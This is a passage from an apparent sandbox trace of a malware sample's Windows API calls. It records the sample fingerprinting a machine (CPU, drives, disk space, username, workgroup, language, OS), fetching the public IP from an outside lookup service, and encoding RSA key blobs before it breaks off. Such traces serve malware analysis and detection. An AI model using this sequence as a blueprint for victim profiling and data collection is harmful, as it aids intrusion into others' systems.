Xeon(R) CPU E3-1270 v5 @ 3.60GHz") returned 41 [0127.561] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc44 | out: phkResult=0x19fc44*=0x304) returned 0x0 [0127.561] RegQueryValueExW (in: hKey=0x304, lpValueName="Identifier", lpReserved=0x0, lpType=0x0, lpData=0x2cc346, lpcbData=0x19fc54*=0x80 | out: lpType=0x0, lpData=0x2cc346*=0x49, lpcbData=0x19fc54*=0x4a) returned 0x0 [0127.561] RegCloseKey (hKey=0x304) returned 0x0 [0127.561] wsprintfW (in: param_1=0x2c6d10, param_2="%d" | out: param_1="-758493713") returned 10 [0127.561] lstrcatW (in: lpString1="-758493713", lpString2="Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3" | out: lpString1="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3" [0127.561] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77460000 [0127.561] GetProcAddress (hModule=0x77460000, lpProcName="RtlComputeCrc32") returned 0x77486b10 [0127.561] lstrlenW (lpString="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned 87 [0127.562] RtlComputeCrc32 (PartialCrc=0x29a, Buffer=0x2c6d10, Length=0xae) returned 0xdce1bb8b [0127.562] GetDriveTypeW (lpRootPathName="A:\\") returned 0x1 [0127.562] GetDriveTypeW (lpRootPathName="B:\\") returned 0x1 [0127.562] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0127.562] lstrcatW (in: lpString1="", lpString2="C:" | out: lpString1="C:") returned="C:" [0127.562] lstrcatW (in: lpString1="C:", lpString2="FIXED" | out: lpString1="C:FIXED") returned="C:FIXED" [0127.562] lstrcatW (in: lpString1="C:FIXED", lpString2="_" | out: lpString1="C:FIXED_") returned="C:FIXED_" [0127.562] GetDiskFreeSpaceW (in: lpRootPathName="C:\\", lpSectorsPerCluster=0x19fce0, lpBytesPerSector=0x19fcec, lpNumberOfFreeClusters=0x19fcf4, lpTotalNumberOfClusters=0x19fcf0 | out: lpSectorsPerCluster=0x19fce0, lpBytesPerSector=0x19fcec, lpNumberOfFreeClusters=0x19fcf4, lpTotalNumberOfClusters=0x19fcf0) returned 1 [0127.562] lstrlenW (lpString="C:FIXED_") returned 8 [0127.562] wsprintfW (in: param_1=0x2c8b00, param_2="%I64u/" | out: param_1="549227327488/") returned 13 [0127.562] lstrlenW (lpString="C:FIXED_549227327488/") returned 21 [0127.562] wsprintfW (in: param_1=0x2c8b1a, param_2="%I64u" | out: param_1="17635446784") returned 11 [0127.562] lstrcatW (in: lpString1="C:FIXED_549227327488/17635446784", lpString2="," | out: lpString1="C:FIXED_549227327488/17635446784,") returned="C:FIXED_549227327488/17635446784," [0127.562] GetDriveTypeW (lpRootPathName="D:\\") returned 0x1 [0127.562] GetDriveTypeW (lpRootPathName="E:\\") returned 0x1 [0127.562] GetDriveTypeW (lpRootPathName="F:\\") returned 0x1 [0127.562] GetDriveTypeW (lpRootPathName="G:\\") returned 0x1 [0127.562] GetDriveTypeW (lpRootPathName="H:\\") returned 0x1 [0127.562] GetDriveTypeW (lpRootPathName="I:\\") returned 0x1 [0127.562] GetDriveTypeW (lpRootPathName="J:\\") returned 0x1 [0127.563] GetDriveTypeW (lpRootPathName="K:\\") returned 0x1 [0127.563] GetDriveTypeW (lpRootPathName="L:\\") returned 0x1 [0127.563] GetDriveTypeW (lpRootPathName="M:\\") returned 0x1 [0127.563] GetDriveTypeW (lpRootPathName="N:\\") returned 0x1 [0127.563] GetDriveTypeW (lpRootPathName="O:\\") returned 0x1 [0127.563] GetDriveTypeW (lpRootPathName="P:\\") returned 0x1 [0127.563] GetDriveTypeW (lpRootPathName="Q:\\") returned 0x1 [0127.563] GetDriveTypeW (lpRootPathName="R:\\") returned 0x1 [0127.563] GetDriveTypeW (lpRootPathName="S:\\") returned 0x1 [0127.563] GetDriveTypeW (lpRootPathName="T:\\") returned 0x1 [0127.563] GetDriveTypeW (lpRootPathName="U:\\") returned 0x1 [0127.563] GetDriveTypeW (lpRootPathName="V:\\") returned 0x1 [0127.563] GetDriveTypeW (lpRootPathName="W:\\") returned 0x1 [0127.563] GetDriveTypeW (lpRootPathName="X:\\") returned 0x1 [0127.564] GetDriveTypeW (lpRootPathName="Y:\\") returned 0x1 [0127.564] GetDriveTypeW (lpRootPathName="Z:\\") returned 0x1 [0127.564] GetDriveTypeW (lpRootPathName="") returned 0x1 [0127.564] lstrlenW (lpString="C:FIXED_549227327488/17635446784,") returned 33 [0127.564] InternetOpenW (lpszAgent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36", dwAccessType=0x1, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0127.711] VirtualAlloc (lpAddress=0x0, dwSize=0x2801, flAllocationType=0x3000, flProtect=0x40) returned 0x840000 [0127.711] lstrlenW (lpString="") returned 0 [0127.711] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0127.719] InternetOpenW (lpszAgent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36", dwAccessType=0x1, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0127.719] InternetConnectW (hInternet=0xcc0004, lpszServerName="ipv4bot.whatismyipaddress.com", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0127.719] VirtualAlloc (lpAddress=0x0, dwSize=0x2800, flAllocationType=0x3000, flProtect=0x40) returned 0x850000 [0127.719] wsprintfW (in: param_1=0x850000, param_2="%s" | out: param_1="/") returned 1 [0127.719] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/", lpszVersion="HTTP/1.1", lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x8404f700, dwContext=0x0) returned 0xcc000c [0127.725] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0128.339] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x840000, dwNumberOfBytesToRead=0x27fe, lpdwNumberOfBytesRead=0x19fc0c | out: lpBuffer=0x840000*, lpdwNumberOfBytesRead=0x19fc0c*=0xe) returned 1 [0128.340] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x840000, dwNumberOfBytesToRead=0x27fe, lpdwNumberOfBytesRead=0x19fc0c | out: lpBuffer=0x840000*, lpdwNumberOfBytesRead=0x19fc0c*=0x0) returned 1 [0128.340] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0128.341] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0128.341] VirtualFree (lpAddress=0x850000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.342] lstrlenA (lpString="87.142.158.201") returned 14 [0128.342] wsprintfW (in: param_1=0x2c4498, param_2="%S" | out: param_1="87.142.158.201") returned 14 [0128.342] VirtualFree (lpAddress=0x840000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.342] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0128.342] lstrlenW (lpString="CIiHmnxMn6Ps") returned 12 [0128.342] lstrlenW (lpString="pc_user") returned 7 [0128.342] lstrlenW (lpString="LHNIWSJ") returned 7 [0128.342] lstrlenW (lpString="pc_name") returned 7 [0128.342] lstrlenW (lpString="WORKGROUP") returned 9 [0128.342] lstrlenW (lpString="pc_group") returned 8 [0128.342] lstrlenW (lpString="en-US") returned 5 [0128.342] lstrlenW (lpString="pc_lang") returned 7 [0128.342] lstrlenW (lpString="0") returned 1 [0128.342] lstrlenW (lpString="pc_keyb") returned 7 [0128.342] lstrlenW (lpString="Windows 10 Pro") returned 14 [0128.342] lstrlenW (lpString="os_major") returned 8 [0128.342] lstrlenW (lpString="x64") returned 3 [0128.342] lstrlenW (lpString="os_bit") returned 6 [0128.342] lstrlenW (lpString="C:FIXED_549227327488/17635446784") returned 32 [0128.342] lstrlenW (lpString="hdd") returned 3 [0128.342] lstrlenW (lpString="ip") returned 2 [0128.342] lstrlenW (lpString="87.142.158.201") returned 14 [0128.342] VirtualAlloc (lpAddress=0x0, dwSize=0x17280, flAllocationType=0x3000, flProtect=0x40) returned 0x840000 [0128.343] CryptBinaryToStringA (in: pbBinary=0x230000, cbBinary=0x114, dwFlags=0x40000001, pszString=0x84bbb0, pcchString=0x19fd18 | out: pszString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy", pcchString=0x19fd18) returned 1 [0128.343] CryptBinaryToStringA (in: pbBinary=0x250000, cbBinary=0x494, dwFlags=0x40000001, pszString=0x84c452, pcchString=0x19fd18 | out: pszString="BwIAAACkAABSU0EyAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviyn/AQXJfCNTUwvmUYPZKgA73hP8ouSeE4vJLifw83xyMfmmiItzbGVzqWMunBgWZwPXE6e1scjYk2dWUd40KYQ/AgOJG9zTAw1v2TBqMIBznjSW1i/9a6w+dfyhMSwKg8ds5NDSF42FpZR0nvW2oRGa5HCwivKBU8CF3QH7lwQMlVQJ/P7TrA1vXlGUysHyQzPVbho8dEAx7ybRpjmnfS2tuv9MvuNX/DdY4yNidXdjNFaoGNPMyy9jl07fXc9DmZKy8Nl728SCRWe3XKfxNVCINdnsumAeSNuiQ7efPxhrp2G8YTdNbQp/g/kSfpnuXl8ZgW/WMBsDi3xuOLVFeo46VfL7kaJnxTDXvYQUn/Ma+5pLmBRfpqdN/QXWIywqY6PoGINsSfbOj+vamgIOpA3TEw14N8XzTR4WMxCYN9zTSJZGDS4pNDpNm+mNbIWa5eSRJF+Jsa2+7OEev8++qj0/PLf67Iw/PjlDY/RckEcw6QY/lrgBtQgBeMGvUGhy48yclHuPSAaxw6yBGT5Y43kzC3TJCOW3lxe5/8zz929UrDzVwp7s7oT6uubT0gk1XSkVmvLYEZGwsQT6Jj1alHwdsEZFVzf9w4G3r9Mjth7NZbvlGZ93JjwbFkGXV1C50L+aJMXRl5TvrZTLaYQlupNgnIfrc87W9wLF9NX+WA3oIOQ21QnH0V6P+sr7LRVPisjtCRbkM2Yv8ljOJLWaWaws08M//332ut+5lvuqCzZabD/MR2Gc12Bmp/myU3YH+LQtSSlBBAf1uZmCtbDosQWCul3hywGzkFJWrKawtZ9oE31DdSDkJgiQseKgSHxrx2jgrcQaYdcVhDvjZFsyB1S5GLdpQO4Og9G+u+Cho/8H8yBvOWVYhNkOfAi7SQURTzQsXqIuxYySmOkVBbo0WcK3PufqVhnFlDO29YeF3XfpGliWHBZFNLoHUJEnfqzGIgoIGHF3lLvMHdYtG5S+HuPo29OAbQogtT0e1DcqqW5fnjVgZ+YSwmbxTQHWOkvdvf2CxvAWdQ1X31dpK9pYztlv8xkL3yKHIu645NBBHQpsFvkCvYJ0DktZM3/TM7XzX25BnFWgw2xgcRtWMl2VN2fTz7HOw8cx6OIcQDDGmAC06XwVoa6o2f7RunZBypt3tzeOii+f01fnJZ/R6N54yFbRqwUKSw1M7jSgnP2TaoFA0=", pcchString=0x19fd18) returned 1 [0128.343] lstrlenA (lpString="BwIAAACkAABSU0EyAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviyn/AQXJfCNTUwvmUYPZKgA73hP8ouSeE4vJLifw83xyMfmmiItzbGVzqWMunBgWZwPXE6e1scjYk2dWUd40KYQ/AgOJG9zTAw1v2TBqMIBznjSW1i/9a6w+dfyhMSwKg8ds5NDSF42FpZR0nvW2oRGa5HCwivKBU8CF3QH7lwQMlVQJ/P7TrA1vXlGUysHyQzPVbho8dEAx7ybRpjmnfS2tuv9MvuNX/DdY4yNidXdjNFaoGNPMyy9jl07fXc9DmZKy8Nl728SCRWe3XKfxNVCINdnsumAeSNuiQ7efPxhrp2G8YTdNbQp/g/kSfpnuXl8ZgW/WMBsDi3xuOLVFeo46VfL7kaJnxTDXvYQUn/Ma+5pLmBRfpqdN/QXWIywqY6PoGINsSfbOj+vamgIOpA3TEw14N8XzTR4WMxCYN9zTSJZGDS4pNDpNm+mNbIWa5eSRJF+Jsa2+7OEev8++qj0/PLf67Iw/PjlDY/RckEcw6QY/lrgBtQgBeMGvUGhy48yclHuPSAaxw6yBGT5Y43kzC3TJCOW3lxe5/8zz929UrDzVwp7s7oT6uubT0gk1XSkVmvLYEZGwsQT6Jj1alHwdsEZFVzf9w4G3r9Mjth7NZbvlGZ93JjwbFkGXV1C50L+aJMXRl5TvrZTLaYQlupNgnIfrc87W9wLF9NX+WA3oIOQ21QnH0V6P+sr7LRVPisjtCRbkM2Yv8ljOJLWaWaws08M//332ut+5lvuqCzZabD/MR2Gc12Bmp/myU3YH+LQtSSlBBAf1uZmCtbDosQWCul3hywGzkFJWrKawtZ9oE31DdSDkJgiQseKgSHxrx2jgrcQaYdcVhDvjZFsyB1S5GLdpQO4Og9G+u+Cho/8H8yBvOWVYhNkOfAi7SQURTzQsXqIuxYySmOkVBbo0WcK3PufqVhnFlDO29YeF3XfpGliWHBZFNLoHUJEnfqzGIgoIGHF3lLvMHdYtG5S+HuPo29OAbQogtT0e1DcqqW5fnjVgZ+YSwmbxTQHWOkvdvf2CxvAWdQ1X31dpK9pYztlv8xkL3yKHIu645NBBHQpsFvkCvYJ0DktZM3/TM7XzX25BnFWgw2xgcRtWMl2VN2fTz7HOw8cx6OIcQDDGmAC06XwVoa6o2f7RunZBypt3tzeOii+f01fnJZ/R6N54yFbRqwUKSw1M7jSgnP2TaoFA0=") returned 1564 [0128.343] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.343] VirtualAlloc (lpAddress=0x0, dwSize=0x7ce, flAllocationType=0x3000, flProtect=0x40) returned 0x26d0000 [0128.343] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.343] lstrlenA (lpString="BwIAAACkAABSU0EyAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviyn/AQXJfCNTUwvmUYPZKgA73hP8ouSeE4vJLifw83xyMfmmiItzbGVzqWMunBgWZwPXE6e1scjYk2dWUd40KYQ/AgOJG9zTAw1v2TBqMIBznjSW1i/9a6w+dfyhMSwKg8ds5NDSF42FpZR0nvW2oRGa5HCwivKBU8CF3QH7lwQMlVQJ/P7TrA1vXlGUysHyQzPVbho8dEAx7ybRpjmnfS2tuv9MvuNX/DdY4yNidXdjNFaoGNPMyy9jl07fXc9DmZKy8Nl728SCRWe3XKfxNVCINdnsumAeSNuiQ7efPxhrp2G8YTdNbQp/g/kSfpnuXl8ZgW/WMBsDi3xuOLVFeo46VfL7kaJnxTDXvYQUn/Ma+5pLmBRfpqdN/QXWIywqY6PoGINsSfbOj+vamgIOpA3TEw14N8XzTR4WMxCYN9zTSJZGDS4pNDpNm+mNbIWa5eSRJF+Jsa2+7OEev8++qj0/PLf67Iw/PjlDY/RckEcw6QY/lrgBtQgBeMGvUGhy48yclHuPSAaxw6yBGT5Y43kzC3TJCOW3lxe5/8zz929UrDzVwp7s7oT6uubT0gk1XSkVmvLYEZGwsQT6Jj1alHwdsEZFVzf9w4G3r9Mjth7NZbvlGZ93JjwbFkGXV1C50L+aJMXRl5TvrZTLaYQlupNgnIfrc87W9wLF9NX+WA3oIOQ21QnH0V6P+sr7LRVPisjtCRbkM2Yv8ljOJLWaWaws08M//332ut+5lvuqCzZabD/MR2Gc12Bmp/myU3YH+LQtSSlBBAf1uZmCtbDosQWCul3hywGzkFJWrKawtZ9oE31DdSDkJgiQseKgSHxrx2jgrcQaYdcVhDvjZFsyB1S5GLdpQO4Og9G+u+Cho/8H8yBvOWVYhNkOfAi7SQURTzQsXqIuxYySmOkVBbo0WcK3PufqVhnFlDO29YeF3XfpGliWHBZFNLoHUJEnfqzGIgoIGHF3lLvMHdYtG5S+HuPo29OAbQogtT0e1DcqqW5fnjVgZ+YSwmbxTQHWOkvdvf2CxvAWdQ1X31dpK9pYztlv8xkL3yKHIu645NBBHQpsFvkCvYJ0DktZM3/TM7XzX25BnFWgw2xgcRtWMl2VN2fTz7HOw8cx6OIcQDDGmAC06XwVoa6o2f7RunZBypt3tzeOii+f01fnJZ/R6N54yFbRqwUKSw1M7jSgnP2TaoFA0=") returned 1564 [0128.343] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.343] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.343] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.343] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.343] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.343] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.343] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.343] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.343] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.343] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.343] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.343] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.343] lstrlenA 